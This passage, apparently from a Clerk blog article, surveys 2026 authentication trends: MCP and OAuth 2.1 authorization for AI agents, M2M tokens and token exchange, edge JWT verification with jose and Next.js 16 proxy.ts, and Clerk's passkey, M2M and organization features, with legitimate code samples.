**Audience restrictions** (`aud` [claim](/glossary/claim)) prevent a token issued for one API from being replayed against another. A calendar-scoped token should not be accepted by the payments API, even if both sit behind the same authorization server. [RFC 8707 Resource Indicators](https://datatracker.ietf.org/doc/html/rfc8707) is the standards mechanism: the client sends a `resource` parameter on the authorization and token requests, and the authorization server binds the resulting token to that resource via the `aud` claim. In multi-tenant deployments this is also how you tenant-isolate tokens — the resource indicator carries the tenant-specific API URL.

**Confidential vs public clients** matters for agent deployments. A backend service running in a trusted environment can be a confidential client and hold a real secret. An agent running in a user-controlled environment (an IDE plugin, a desktop app) is a public client and cannot — it uses PKCE plus sender-constrained tokens to compensate.

**Sender-constrained tokens** bind the token to a client-held key so that a stolen token is useless without the matching key. [DPoP (RFC 9449)](https://datatracker.ietf.org/doc/html/rfc9449) — Demonstration of Proof-of-Possession — is the HTTP-layer mechanism. The client signs a JWT over each request with its private key, and the resource server checks the proof against a key thumbprint baked into the access token. This is particularly valuable for public-client agents where the token is more exposed.

### Model Context Protocol (MCP) authentication

MCP is the protocol AI agents use to discover and call external tools. Its authorization story matured significantly in late 2025 and early 2026, and it is worth separating three concepts to avoid slippage.

**(a) What the spec actually requires.** The live MCP authorization specification is [revision 2025-11-25](https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization). It opens with a stance worth quoting directly:

> Authorization is OPTIONAL for MCP implementations.

The spec then splits requirements by transport:

- HTTP-based transports SHOULD conform to the MCP authorization specification.
- stdio transports SHOULD NOT conform — they retrieve credentials from the environment.
- Other transports MUST follow established security best practices for their protocol.

When an MCP deployment *does* implement authorization over HTTP, the spec requires the following. Authorization servers MUST implement **OAuth 2.1**. MCP clients MUST implement **PKCE with S256**, and they MUST refuse to proceed if an authorization server's metadata does not advertise `code_challenge_methods_supported`. Clients MUST send the **`resource` parameter** (RFC 8707 Resource Indicators) on every authorization and token request, regardless of whether the server is known to support it. MCP servers MUST expose [**RFC 9728 Protected Resource Metadata**](https://datatracker.ietf.org/doc/rfc9728/), and clients MUST support both discovery mechanisms — the `WWW-Authenticate` header and the `.well-known/oauth-protected-resource` document. MCP servers MUST validate the **token audience** against their own resource URI.

**(b) Optional extensions.** [Dynamic Client Registration](/glossary/dynamic-client-registration) ([RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)) is **MAY, not MUST**, and the spec is explicit that DCR is retained *"for backwards compatibility with earlier versions of the MCP authorization spec."* The preferred pattern for first-time client registration is **Client ID Metadata Documents (SHOULD)**. The priority order for client registration is pre-registration, then CIMD, then DCR, then a user prompt.

**(c) Current ecosystem practice.** MCP clients ship inside Claude, ChatGPT, VS Code, Cursor, Windsurf, Zed, and Codex — see [modelcontextprotocol.io](https://modelcontextprotocol.io) for the current directory. Remote MCP servers with OAuth-based authorization are documented and in production at [WorkOS AuthKit](https://workos.com/docs/authkit/mcp), [Stytch Connected Apps with the OpenAI Apps SDK](https://stytch.com/docs/guides/connected-apps/mcp-server-overview) (see also Stytch's [guide to authentication for the OpenAI Apps SDK](https://stytch.com/blog/guide-to-authentication-for-the-openai-apps-sdk/)), [Descope Agentic Identity Hub](https://docs.descope.com/agentic-identity-hub/mcp-servers), and [Scalekit MCP Auth](https://docs.scalekit.com/). On the open-source side, NapthaAI's `http-oauth-mcp-server`, `mcpauth/mcpauth`, and `mcp-oauth-gateway` are community implementations of the authorization server side.

Clerk ships a remote MCP server at `mcp.clerk.com/mcp` that serves up-to-date Clerk SDK snippets to AI coding assistants — see the [Clerk MCP server changelog entry](/changelog/2026-01-20-clerk-mcp-server) and [Clerk's MCP guide](/docs/guides/ai/mcp/clerk-mcp-server). This is a vertical MCP server for Clerk documentation, not a general-purpose MCP authorization server for third-party MCP clients. Teams that want to stand up their own MCP server with Clerk-backed authentication should follow the [build-your-own MCP server guide](/docs/expressjs/guides/ai/mcp/build-mcp-server).

### Common patterns for authenticating AI agents accessing APIs

Three patterns cover the large majority of real agent deployments.

**Pattern 1: Machine-to-machine tokens for service agents.** The agent has its own identity and there is no human in the loop. The canonical example is a backend summarization agent calling an internal search API. Use OAuth 2.1 client credentials, a JWT client assertion instead of a long-lived client secret, a tightly-scoped and audience-bound access token, and short lifetimes. Pseudocode illustrating the flow:

```ts
// Pseudocode: M2M token for a service agent
const { access_token } = await authServer.clientCredentials({
  client_id,
  client_assertion, // JWT client assertion, not a long-lived secret
  scope: 'search:read',
  audience: 'https://api.internal/search',
})

await fetch(url, {
  headers: { Authorization: `Bearer ${access_token}` },
})
```

**Pattern 2: Delegated user access for user-initiated agents.** The agent acts on behalf of an authenticated user, and the agent's token is derived from the user's session via token exchange or a Rich Authorization Request — not by re-using the user's raw access token. The canonical example is a productivity assistant reading a user's calendar. The resulting token carries an `act` claim that identifies the agent as the actor while the `sub` still identifies the user. Pseudocode for the token exchange:

```ts
// Pseudocode: token exchange to obtain a narrower agent token
const agentToken = await authServer.tokenExchange({
  grant_type: 'urn:ietf:params:oauth:grant-type:token-exchange',
  subject_token: userAccessToken,
  subject_token_type: 'urn:ietf:params:oauth:token-type:access_token',
  actor_token: agentAssertion,
  actor_token_type: 'urn:ietf:params:oauth:token-type:jwt',
  scope: 'calendar:read', // narrowed
  audience: 'https://api.example.com/calendar',
  // resulting token carries an `act` claim identifying the agent
})
```

**Pattern 3: Agent identity with auditable action trails.** Every call carries both the agent identity (via `act` or `azp`) and the principal it acts for (via `sub`). The resource server logs `sub`, `azp`, `act`, the request path, the scopes exercised, and the request metadata. Downstream SIEM and compliance tooling queries this log to answer "which agent did what, for whom" without having to join across multiple systems. This pattern is the operational complement to Patterns 1 and 2 — it is what makes the delegation chain useful after the fact.

### Open questions in agent authentication

The standards are moving faster than most production deployments. A few of the open questions worth tracking:

**Consent UX for long-running agents.** A multi-step agent that runs for hours or days needs a consent model that does not re-prompt the user on every tool call but also does not silently escalate. Re-prompt timing and scope-change triggers are an unsolved UX problem.

**Revocation propagation.** When a user revokes an agent's access mid-task, how quickly does that propagate through in-flight tokens at downstream resource servers? Microsoft's Continuous Access Evaluation (CAE) is a productized near-real-time revocation pattern for this class of problem. Short token lifetimes are the simpler answer, but they do not fully close the window.

**Agentic identity management.** Provisioning, rotating, and deprovisioning agent identities at scale is still mostly manual. The Strata 18% governance-confidence number is the symptom.

Emerging work worth watching:

- **Fine-grained authorization** via policy engines — Oso, Amazon Verified Permissions built on Cedar, and attribute-based access control (ABAC) more generally. Tokens carry identity; policy engines decide what that identity is allowed to do against specific resources.
- **Workload identity** — the IETF's [WIMSE architecture draft](https://datatracker.ietf.org/doc/draft-ietf-wimse-arch-07) formalizes identity for workloads, and SPIFFE/SPIRE is the operational implementation cited by HashiCorp Vault and Red Hat deployments for agent identity in infrastructure.
- **[OIDC-A](https://arxiv.org/html/2509.25974v1)** — a research direction for an OIDC profile tailored to agents.
- **[Agentic JWT](https://arxiv.org/html/2509.13597v1)** — a research proposal for JWT semantics that encode agent actor chains natively.
- **Rich Authorization Requests (RFC 9396)** — structured, semantically-rich authorization requests for agent actions like "transfer up to $X to account Y."
- **FAPI 2.0** — a concrete profile that mandates DPoP or mTLS for financial-grade agent integrations.
- **CIBA (OpenID CIBA Core 1.0)** — human-in-the-loop asynchronous authorization, suited to out-of-band approvals for sensitive agent actions.
- **NIST AI Agent Standards Initiative (February 2026)** — early U.S. government standards work on agent identity and interoperability.
- **Stripe's agentic commerce and Machine Payments Protocol** — an early agent-to-service payment standard with authorization primitives built in.

The through-line across this list is that standards bodies, research labs, and commercial identity vendors are all working on the same problem: giving agents their own identity, binding that identity tightly to scope and audience, and keeping the human principal visible through the chain. The next section turns to where that authentication has to happen — at the edge.

## Trend 3: Edge-Centric Ingress Verification

> \[!IMPORTANT]
> Throughout this section, "edge authentication" refers specifically to **ingress-layer verification of request tokens** (a CDN- or runtime-adjacent check that a signed JWT is valid before the request reaches origin). That is different from **full session management** (issuing, refreshing, and revoking user sessions) and different from **full authorization** (policy decisions about what the authenticated principal can do). The edge handles the JWT-validity check; it does not replace the IdP.

The third structural shift in 2026 authentication is where token verification happens in the request path. For a decade, verifying that a caller held a valid session token meant a round trip — at minimum to the origin, often to a session store behind it. In 2026, that check has moved to the network boundary for most high-traffic TypeScript apps, and the framework defaults (Next.js 16 `proxy.ts`, SvelteKit hooks, Remix/React Router loaders) make running a JWT check as the first thing that touches a request the path of least resistance.

But "edge auth" has also matured past its marketing phase. The honest framing in 2026 is narrower than the 2023 pitch: the edge handles one specific pipeline well, and trying to run the whole IdP there was always overclaimed.

### Why edge-centric ingress verification is winning — and what's maturing about it

**Performance.** Verifying a short-lived JWT at a CDN point of presence takes under 2 ms once the JWKS is cached; the first verification in a cold cache pays a 15–30 ms JWKS fetch and then amortizes. Published case studies of moving token verification from origin to edge show global checkout TTFB improvements from \~2 s to \~45 ms, driven almost entirely by eliminating the origin round trip on unauthenticated or already-authenticated requests. See [SSOJet's Cloudflare Workers and Vercel JWT guide](https://ssojet.com/blog/how-to-validate-jwts-efficiently-at-the-edge-with-cloudflare-workers-and-vercel), [Daily Dev Post on edge vs origin business logic](https://dailydevpost.com/blog/edge-vs-origin-business-logic-cdn), and [Fastly's patterns for authentication at the edge](https://www.fastly.com/blog/patterns-for-authentication-at-the-edge).

**Security.** Rejecting unauthenticated and malformed traffic at the edge shrinks the origin blast radius. Credential stuffing, naive scrapers, and malformed-token floods never reach application servers. This is necessary but not sufficient: edge verification says the token is cryptographically valid and unexpired, not that the principal is authorized to do a particular thing.

**Compliance.** Region-pinned processing at PoPs aligns naturally with GDPR data minimization, India's DPDPA, and Saudi Arabia's PDPL — a claim extraction at a local PoP never ships the raw token to a different jurisdiction. See [Security Boulevard's 2025 data-residency analysis](https://securityboulevard.com/2025/12/the-global-data-residency-crisis-how-enterprises-can-navigate-geolocation-storage-and-privacy-compliance-without-sacrificing-performance/).

**Framework alignment.** Next.js 16's `proxy.ts` runs at the network boundary. SvelteKit's `handle` hook, Remix and React Router loaders, and Hono middleware all make it trivial to run a verification call as the first thing that touches a request. The ergonomics of "verify here, then continue" are finally uniform across the TypeScript ecosystem.

**Honest maturation beat.** Vercel's 2026 shift from pure "edge functions" to **fluid compute** is a concrete signal that the industry is moving from "everything at the edge" to hybrid runtimes. Ingress-layer token verification stays edge-relevant. Runtime choice — Node.js runtime in Next.js 16 `proxy.ts`, V8 isolates on Cloudflare Workers, Compute\@Edge on Fastly — now matters more than the old "edge vs origin" binary.

### JWT validation at the edge

#### Stateless validation patterns

Ingress verification uses asymmetric signatures so the edge never needs the signing key. Verify RS256, ES256, or EdDSA against a cached JWKS and there is no database round trip. EdDSA is roughly 62× faster than RS256 for signing in JWT contexts and noticeably faster to verify; ES256 is a balanced edge pick; RS256 remains the broadest-compatibility option. See [WorkOS on RS256 vs HS256](https://workos.com/blog/rs256-vs-hs256-jwt-signing-algorithms).

#### JWKS distribution and key rotation

A stateless verifier is only as good as its key rotation story. The pattern that holds up in production is four-phase rotation with overlapping key lifetimes and an explicit grace window for stale caches: publish the new key, verify with both, sign with the new key only, then retire the old key. JWKS endpoints are typically refreshed every 5–10 minutes at the edge. See [Zalando Engineering on automated JWK rotation](https://engineering.zalando.com/posts/2025/01/automated-json-web-key-rotation.html) and [David Sulc on JWS APIs and JWKS basics](https://www.davidsulc.com/blog/jws-apis-jwks-basics).

The canonical edge library `jose` ships documented defaults on the `RemoteJWKSetOptions` interface for `createRemoteJWKSet()`: `cooldownDuration = 30,000 ms (30 seconds)` and `cacheMaxAge = 600,000 ms (10 minutes)`. Those values matter for rotation planning — your grace window needs to be longer than `cacheMaxAge` plus the cooldown. See [the `jose` repository](https://github.com/panva/jose).

#### Claim validation beyond the signature

Signature validity is the first check, not the only one. A correct verifier validates `iss` (issuer), `aud` (audience), `exp` (expiry), `nbf` (not-before), `azp` (authorized party) where present, and any custom claims your application depends on. Skipping claim validation — especially `aud` and `iss` — is the most common edge-auth bug and turns a "verified JWT" into a token from any issuer your JWKS happens to trust. See [Curity's JWT best practices](https://curity.io/resources/learn/jwt-best-practices/) and [Descope on JWT claims](https://www.descope.com/learn/post/jwt-claims).

#### Library recommendation

`jose` (panva/jose) is the de-facto standard for edge JWT work. It uses the Web Crypto API, has zero runtime dependencies, and runs unchanged on Node, browsers, Cloudflare Workers, Deno, Bun, and Vercel Edge. `createRemoteJWKSet()` handles JWKS caching and cooldown automatically. See [github.com/panva/jose](https://github.com/panva/jose). The older `jsonwebtoken` package is incompatible with edge runtimes because it depends on Node built-ins — see [Wael Habbal's guide to Next.js and the Edge runtime](https://dev.to/waelhabbal/nextjs-and-the-edge-runtime-a-guide-for-full-stack-developers-17g3). Runtime-specific alternatives worth knowing: `@tsndr/cloudflare-worker-jwt` for Workers-specific deployments; Fastly's `compute-js-auth` and `compute-rust-auth` starters for Compute\@Edge; Deno's `djwt` (see [Netlify Edge Functions docs](https://docs.netlify.com/build/edge-functions/overview/)); and Akamai EdgeWorkers with its built-in JWT module, which can pair edge JWT verification with EdgeKV for denylist lookups and near-real-time revocation.

Pseudocode:

```ts
// Pseudocode: verify a JWT at the edge against a cached JWKS
import { createRemoteJWKSet, jwtVerify } from 'jose'

const JWKS = createRemoteJWKSet(new URL('https://your-idp.example.com/.well-known/jwks.json'))

export async function verifyEdgeToken(token: string) {
  const { payload } = await jwtVerify(token, JWKS, {
    issuer: 'https://your-idp.example.com',
    audience: 'https://api.example.com',
  })
  return payload
}
```

The pattern is uniform across providers: fetch-and-cache JWKS, verify signature, assert claims, return the payload or throw.

### Ingress runtime support across providers

**Next.js 16 `proxy.ts`.** Next.js 16 replaces `middleware.ts` with `proxy.ts` and makes the application's **network boundary** explicit. `proxy.ts` defaults to the Node.js runtime, and the `runtime` config option is **not available** on `proxy.ts` — setting it throws an error. Next.js positions Proxy as an ingress-layer concern (redirects, rewrites, header manipulation, optimistic checks), not as an authorization decision point, and the docs explicitly warn:

> Always verify authentication and authorization inside each Server Function rather than relying on Proxy alone.

`middleware.ts` is retained for existing Edge-runtime code paths but is deprecated in 16.0.0. See the [Next.js 16 announcement](https://nextjs.org/blog/next-16) and the [Proxy API reference](https://nextjs.org/docs/app/api-reference/file-conventions/proxy).

**CVE-2025-29927.** Pre-16 Next.js versions were vulnerable to a [middleware](/glossary/middleware) bypass via the `x-middleware-subrequest` header. If you are still on an affected version, strip the header at your reverse proxy or upgrade. See [NVD CVE-2025-29927](https://nvd.nist.gov/vuln/detail/CVE-2025-29927).

**Cloudflare Workers.** True edge runtime on V8 isolates with roughly 5 ms cold spin-up, full Web Crypto API, and Durable Objects / D1 / KV / R2 for adjacent state. See [Cloudflare Workers docs](https://developers.cloudflare.com/workers/).

**Deno Deploy, Netlify Edge Functions, Fastly Compute\@Edge, Akamai EdgeWorkers.** Other runtimes where ingress token verification runs close to users, each with its own constraints on cold-start, bundle size, and API surface.

**Runtime constraints that matter.** Web Crypto only (no Node `crypto`), strict bundle-size caps, and missing Node built-ins are the cross-cutting gotchas. `jose` is the safe pick across all of these.

### Tradeoffs you need to understand

**Revocation vs statelessness.** Stateless JWT verification has no built-in revocation. The practical answer in 2026 is short-lived access tokens (60 seconds to 5 minutes) so compromised tokens have a small blast radius. When that is not enough, allow-list or deny-list caches at the edge give near-real-time revocation at the cost of a cache read — and session lookups are worth the round trip for high-stakes operations (payments, admin, account changes). See [SuperTokens on JWT blacklist and revocation strategies](https://supertokens.com/blog/revoking-access-with-a-jwt-blacklist). Microsoft's Continuous Access Evaluation (CAE) is a productized near-real-time revocation pattern worth studying.

**Session stickiness vs global auth.** The pattern that wins is hybrid — stateless JWT checks paired with stateful session verification where centralized revocation matters. Curity's [token handler pattern](https://curity.io/resources/learn/the-token-handler-pattern/) walks through the same trade-off for single-page apps: a stateless implementation encrypts tokens in session cookies, while a stateful implementation persists them in a store the OAuth agent reads from — both aim at the same security guarantees with different operational shapes. In a 2026 edge deployment that cashes out as: edge-verify short-lived access tokens on every request, and origin-validate long-lived refresh tokens when a renewal happens.

**State storage options.** Cloudflare Durable Objects (V8 isolates with embedded SQLite) are a concrete primitive for edge-adjacent session state when stateless-only does not fit — region-pinned, strongly consistent, and colocated with the verifier.

**The "edge isn't automatically better" callout.** Below a real traffic threshold, the operational burden of multi-region JWKS caching, key-rotation monitoring, and cross-PoP time-drift handling outweighs the latency win. Small apps are fine with origin auth and should stay there. Vercel's fluid compute shift is a concrete industry acknowledgment that "pure edge for everything" was overclaimed.

### Three pipelines, not one

The most important distinction in 2026 edge auth is that there are three distinct pipelines, and edge verification only handles one of them cleanly. Flattening them is where architectures break.

**Pipeline A — Browser session auth.** Passkey, password, social, or magic-link authentication happens at the IdP. The IdP issues a **long-lived client credential** (in Clerk's case, the `__client` token on the FAPI domain) and **short-lived session tokens** (60-second JWTs). During SSR and any time the short session token is expired or missing server-side, the IdP performs a **handshake** — server to browser to IdP — to re-issue a fresh short session token. This is **not** a stateless edge operation; it requires a redirect, IdP state, and cookie context. See [How Clerk works](/docs/guides/how-clerk-works/overview).

**Pipeline B — Ingress request gating (edge-native).** On every request, a short-lived JWT (user session JWT, M2M JWT, or agent access token) is verified against cached JWKS using Web Crypto and `jose`. This is what "edge auth" means in this article. It runs at the network boundary, returns 401/403 fast, and never round-trips to the IdP.

**Pipeline C — Machine and agent verification.** JWT-format M2M tokens follow Pipeline B. **Opaque M2M tokens and API keys still require a network verification call to the IdP** (in Clerk, billed at `$0.00001` per verification) — they cannot be verified statelessly at the edge. Statelessness and revocability are a tradeoff, not a universal property.

The edge handles Pipeline B uniformly for users, machines, and agents. It does not replace Pipeline A (session renewal) or Pipeline C when opaque tokens are in use. Treat those three pipelines as separate design problems and edge auth stops being confusing.

## What This Means for Developers

Three structural shifts — passkeys, agent-aware auth, and edge-centric ingress verification — collapse into a concrete decision surface for teams shipping in 2026. This section is the pragmatic checklist.

### The 2026 authentication checklist

An authentication stack that will age well for the next 24 months should cover all of the following:

- First-class passkey support across the full lifecycle: registration, sign-in, recovery, and multi-device synchronization.
- OAuth 2.1 compliance and machine-to-machine token support for agent and service workloads.
- MCP-compatible authorization flows if your application exposes tools or data to AI agents.
- Edge runtime compatibility for middleware- or ingress-level token verification on Next.js 16 `proxy.ts`, Cloudflare Workers, and similar.
- TypeScript-first SDKs that work unchanged across Node, edge, and native runtimes.
- Organization and multi-tenant primitives for B2B workloads: invitations, roles, SSO, and directory sync.
- Observability: per-request identity in logs, audit trails of authentication events, and session diagnostics your on-call can actually use.

Missing any one of these is not fatal today, but the cost of adding them later — especially passkey recovery and MCP authorization — has been empirically high for teams that deferred them.

### Evaluating authentication providers in 2026

The evaluation axes that actually matter in 2026 are narrower and more specific than the generic feature grids of 2022:

- **Passkey UX and recovery coverage.** Not just "we support passkeys." Recovery — what happens when a user loses every device — is the real differentiator. Ask providers to walk through the full recovery flow.
- **Machine tokens, scoped credentials, and token-exchange support.** Does the provider issue JWT M2M tokens (verifiable at the edge) or opaque tokens (IdP round trip required)? Does it support RFC 8693 token exchange for delegated agent access?
- **MCP and agent-era readiness.** Can the provider act as an OAuth 2.1 IdP for MCP clients? Does it publish documented MCP authorization server guidance, or do you have to build the adapter yourself?
- **Framework integration depth.** First-party SDKs and working examples for Next.js 16, Remix, Expo, SvelteKit, and Astro — not just a generic "use our REST API."
- **Pricing model fit for machine and agent traffic patterns.** Metered M2M verifications, per-request opaque-token checks, and per-connection SSO pricing can add up fast once agents are issuing tokens on your behalf.
- **Breach and incident track record, with status-page transparency.** A provider that sits in front of every login is a tier-zero dependency; treat it like one.

### Build vs buy: the 2026 calculus

"Rolling your own auth" in 2026 is a materially larger scope than it was in 2020. A serious DIY stack now has to deliver passkeys (WebAuthn, conditional UI, recovery), an OAuth 2.1 IdP, M2M tokens, an MCP authorization server, edge runtime compatibility, audit and telemetry, and the compliance paperwork that large customers will ask for on day one of procurement.

That breadth has shifted the build-vs-buy line for most teams. The expected cost of keeping a DIY stack current with passkey platform changes, CVE disclosures, and the MCP specification iterations alone is now larger than the cost of a managed provider for most application companies.

Where DIY still makes sense: very narrow scope (a single internal tool, a single auth method), highly regulated custom flows that off-the-shelf providers cannot accommodate, internal-only tools behind a corporate SSO, and air-gapped environments where a SaaS provider is not an option.

### Choosing the best authentication stack for TypeScript in 2026

The stack characteristics that age well are narrower than the marketing suggests. A stack worth betting on is edge-first (JWT verification runs at ingress without an origin round trip), standards-compliant (OAuth 2.1, WebAuthn Level 3, OIDC, and MCP authorization), passkey-primary (passkey as the default, passwords retained only for legacy), and agent-ready (M2M tokens and delegated access as first-class primitives, not afterthoughts).

Framework alignment matters concretely. A 2026 TypeScript stack should integrate cleanly with Next.js 16's `proxy.ts` model, React 19's Server Components and Actions, and modern Expo / React Native for mobile — without per-framework shims that drift out of sync.

The role of type-safe SDKs and end-to-end TypeScript is practical, not aesthetic. When `auth()` returns a typed `userId`, `sessionId`, and `orgId`, entire categories of authentication bugs — wrong-tenant reads, missing-session crashes, untyped claim access — surface at compile time instead of in production. The reduction in auth-adjacent incidents from typed SDKs is one of the quieter wins of the 2026 TypeScript ecosystem.

The specific-vendor question — who actually delivers this — is the subject of the next two sections.

## Implementation: Modern Authentication with Clerk

### Why Clerk fits 2026 requirements

Clerk bundles the authentication primitives that matter in 2026 into a single TypeScript-first stack. Passkeys are built-in on Pro and higher tiers — the Hobby tier excludes passkeys, MFA, and enterprise SSO ([pricing](/pricing)). That matters because passkey-primary UX is the table-stakes consumer flow this year, and teams shouldn't discover tier limits mid-rollout.

On the agent side, Clerk ships first-class [machine-to-machine tokens](/docs/guides/development/machine-auth/m2m-tokens) in two formats: JWT (verified locally for free against the instance public key) and [opaque](/glossary/opaque-token) (verified over the network, revocable). The February 2026 changelog entry introduced the JWT format explicitly for stateless verification at the edge ([changelog](/changelog/2026-02-24-m2m-jwt-tokens)).

For AI coding workflows, Clerk publishes a remote MCP server at `mcp.clerk.com/mcp` that serves SDK snippets to AI coding assistants ([changelog](/changelog/2026-01-20-clerk-mcp-server), [docs](/docs/guides/ai/mcp/clerk-mcp-server)). Separately — and scoped strictly to what's documented — Clerk can be configured as an OAuth 2.0/OIDC IdP while you build your own MCP server, per the [Express.js MCP build guide](/docs/expressjs/guides/ai/mcp/build-mcp-server).

The backend SDK is, in Clerk's own phrasing, *"built for Node.js/V8 isolates (Cloudflare Workers, Vercel Edge Runtime, etc.)"* ([docs](/docs/guides/development/sdk-development/backend-only)). Combined with `clerkMiddleware()` at the `proxy.ts` layer in [Next.js 16](https://nextjs.org/blog/next-16), ingress checks run at the network boundary. The DX is TypeScript-first across web, mobile, and backend.

The industry signal matches the product direction: Clerk's October 2025 Series C was a $50M round led by Menlo Ventures and Anthropic's Anthology Fund, with agent identity called out as the explicit target ([announcement](/blog/series-c)).

Adoption friction is usually where a stack choice dies, so one honest note on migration: Clerk publishes an open-source migration tool at [clerk/migration-tool](https://github.com/clerk/migration-tool) with transformers for Auth0, Auth.js, Firebase, Supabase, and Clerk-to-Clerk, plus a trickle-migration path for staged cutovers and password-hash import that transparently upgrades supported algorithms to Bcrypt. OAuth connections cannot be bulk-migrated — users re-consent on first sign-in — and cutting over session issuance will end active sessions from the previous provider. See the [migration overview](/docs/guides/development/migrating/overview) and [exporting users guide](/docs/deployments/exporting-users) for the end-to-end flow.

### Setting up passkey-first authentication

Enabling passkeys starts in the Clerk Dashboard under User & Authentication → [Passkeys](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#passkeys). Once the strategy is on, Clerk's prebuilt `<SignIn />` and `<SignUp />` components surface passkey-primary UX automatically, with email OTP, magic links, and SSO as fallbacks for users who don't yet have a credential on their current device.

For a custom flow, adding a passkey to an already-signed-in user is a one-call API:

```tsx
'use client'

import { useUser } from '@clerk/nextjs'

export function CreatePasskeyButton() {
  const { isSignedIn, user } = useUser()

  const createClerkPasskey = async () => {
    if (!isSignedIn) return
    try {
      await user?.createPasskey()
    } catch (err) {
      console.error('Error:', JSON.stringify(err, null, 2))
    }
  }

  return <button onClick={createClerkPasskey}>Create a passkey</button>
}
```

The `user.createPasskey()` call triggers the browser's WebAuthn ceremony and persists the resulting credential on the user record. Clerk's [passkeys custom flows guide](/docs/guides/development/custom-flows/authentication/passkeys) covers registration, sign-in, the 10-passkeys-per-account cap, and the constraint that users must have another authentication method configured before their first passkey — passkey-only signup is not supported end-to-end today.

Account recovery is the part worth being honest about: no passkey implementation has solved it cleanly. The practical pattern on Clerk is backup codes plus a verified email factor, with recovery flows kept review-gated rather than fully automated. Rushing a self-service "lost my device" path is where account-takeover bugs cluster. Treat recovery as a policy problem first and a UI problem second, and keep SSO or email OTP enabled as durable fallbacks for the long tail of users whose devices change.

### Authenticating AI agents with Clerk

Agent identity is where Clerk has invested heavily. For service-to-service agents — scheduled jobs, background workers, autonomous LLM agents with their own identity — Clerk issues M2M tokens. Pricing as of March 2026 is $0.001 per creation, $0.00001 per opaque verification, and JWT verification is free ([changelog](/changelog/2026-02-24-m2m-jwt-tokens), [pricing](/pricing)). The tradeoff is explicit: JWT format costs nothing to verify but cannot be revoked before expiry; opaque format costs per verification but can be revoked instantly.

For delegated user access — an agent acting on a specific user's behalf — the pattern is short-lived, scoped tokens derived from the user session rather than long-lived machine credentials. For MCP-style authorization, Clerk supports dynamic client registration, scope disclosure at consent time, and configurable token lifetimes inside the documented build-your-own-MCP-server flow.

Audit logging and revocation work only on opaque tokens. That is a deliberate design choice: if you need to kill a compromised agent credential within seconds, opaque is the format; if you need free, stateless verification at the edge for a high-volume internal agent, JWT is the format. Many teams mix both.

```ts
import { createClerkClient } from '@clerk/backend'

const clerkClient = createClerkClient({
  machineSecretKey: process.env.CLERK_MACHINE_SECRET_KEY!,
})

// Create an M2M token — choose JWT (free verify, no revocation)
// or opaque (per-request verify, revocable).
const { token } = await clerkClient.m2m.createToken({ tokenFormat: 'jwt' })

// Verify on the receiving side
const verified = await clerkClient.m2m.verify({ token })
```

The `tokenFormat` field is the lever: pass `'jwt'` for edge-verifiable tokens with no revocation story, or `'opaque'` for network-verified tokens you can cancel from the dashboard. See the [machine auth overview](/docs/guides/development/machine-auth/overview) for scope modeling, per-token rate limits, and the full lifecycle API.

### Edge-compatible authentication in Clerk — per pipeline

Clerk's edge story only makes sense once you separate the three pipelines introduced earlier in this article.

**Browser session (Pipeline A).** Clerk uses a two-token model: a long-lived `__client` token anchored on the FAPI domain, plus short-lived 60-second session JWTs on the app domain. When an SSR request lacks a fresh session token, Clerk runs a handshake — server redirects to FAPI, FAPI mints a new session token, the browser replays the request. `proxy.ts` plus `clerkMiddleware()` runs at the network boundary and integrates with this handshake; it is not a replacement for it. The full protocol is documented in [how Clerk works](/docs/guides/how-clerk-works/overview).

**Ingress JWT verification (Pipeline B).** Per Clerk's docs, `@clerk/backend` is *"built for Node.js/V8 isolates (Cloudflare Workers, Vercel Edge Runtime, etc.)"* ([backend SDK docs](/docs/guides/development/sdk-development/backend-only)). Short session JWTs and JWT-format M2M tokens are verified statelessly against the instance public key or cached JWKS, which is exactly what edge runtimes are good at.

**Machine/agent verification (Pipeline C).** JWT-format M2M tokens are verified statelessly at the edge — same machinery as Pipeline B, free per verification. Opaque M2M tokens and API keys still require a network call to Clerk ($0.00001 per opaque verification, revocable). Those are not edge-only primitives; treat them as remote calls when you plan latency budgets.

The `jose` library's `createRemoteJWKSet()` defaults — `cooldownDuration` of 30,000 ms and `cacheMaxAge` of 600,000 ms — apply uniformly across any runtime that uses it ([jose on GitHub](https://github.com/panva/jose)).

```ts
// proxy.ts
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/api/private(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) {
    await auth.protect()
  }
})

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

Pipeline A (the handshake) continues to work through this middleware even though the ingress check itself is edge-safe — `clerkMiddleware()` knows how to orchestrate redirects back to FAPI when a session token is stale. Using Clerk's phrasing: `@clerk/backend` is built for Node.js/V8 isolates, and `proxy.ts` is where that compatibility pays off in Next.js 16.

Honest caveat: "Clerk runs at the edge" means Pipeline B is edge-native and Pipeline C is edge-native when the token is JWT-format. Session renewal (Pipeline A) still uses the IdP via the handshake flow; it is not a stateless edge operation.

### Organization and multi-tenant authentication

B2B workloads map onto Clerk's [organizations](/docs/guides/organizations/overview) primitive: each organization has its own membership list, roles (admin, member, or custom), and permissions. Users can belong to many organizations, and the active organization is part of the session context — `auth()` in a server component or route handler returns `orgId`, `orgRole`, and `orgPermissions` alongside the user identity, which lets you scope queries, feature flags, and policy checks without re-querying membership.

For enterprise tenants, Clerk supports verified domains — a customer claims ownership of their email domain, and new signups from that domain are auto-placed into the correct organization and optionally routed to an [SSO](/glossary/single-sign-on-sso) connection. Enterprise SSO is Pro+ only; each app includes one connection, with overage billed at $15–$75/mo per connection depending on protocol ([pricing](/pricing)). The B2B Enhanced add-on at $85/mo annual (100 MROs) layers on audit logs, advanced roles, and richer organization quotas.

Agent tokens can be scoped to a specific organization at creation time, so a tenant's autonomous worker can only act within its own org boundary — which keeps [multi-tenant](/glossary/multi-tenancy) blast radius bounded without reinventing authorization primitives.

## Comparing Modern Authentication Options for 2026

### Comparison table

The matrix below covers 10 providers whose 2026 capabilities are verifiable from current official documentation. Three other noteworthy options — Scalekit, Descope, and Ory — appear in the "Also consider" paragraph that follows, because their public documentation is thinner or their positioning deserves a short narrative rather than a row. Any cell we could not tie to current official docs is labeled `Not documented`.

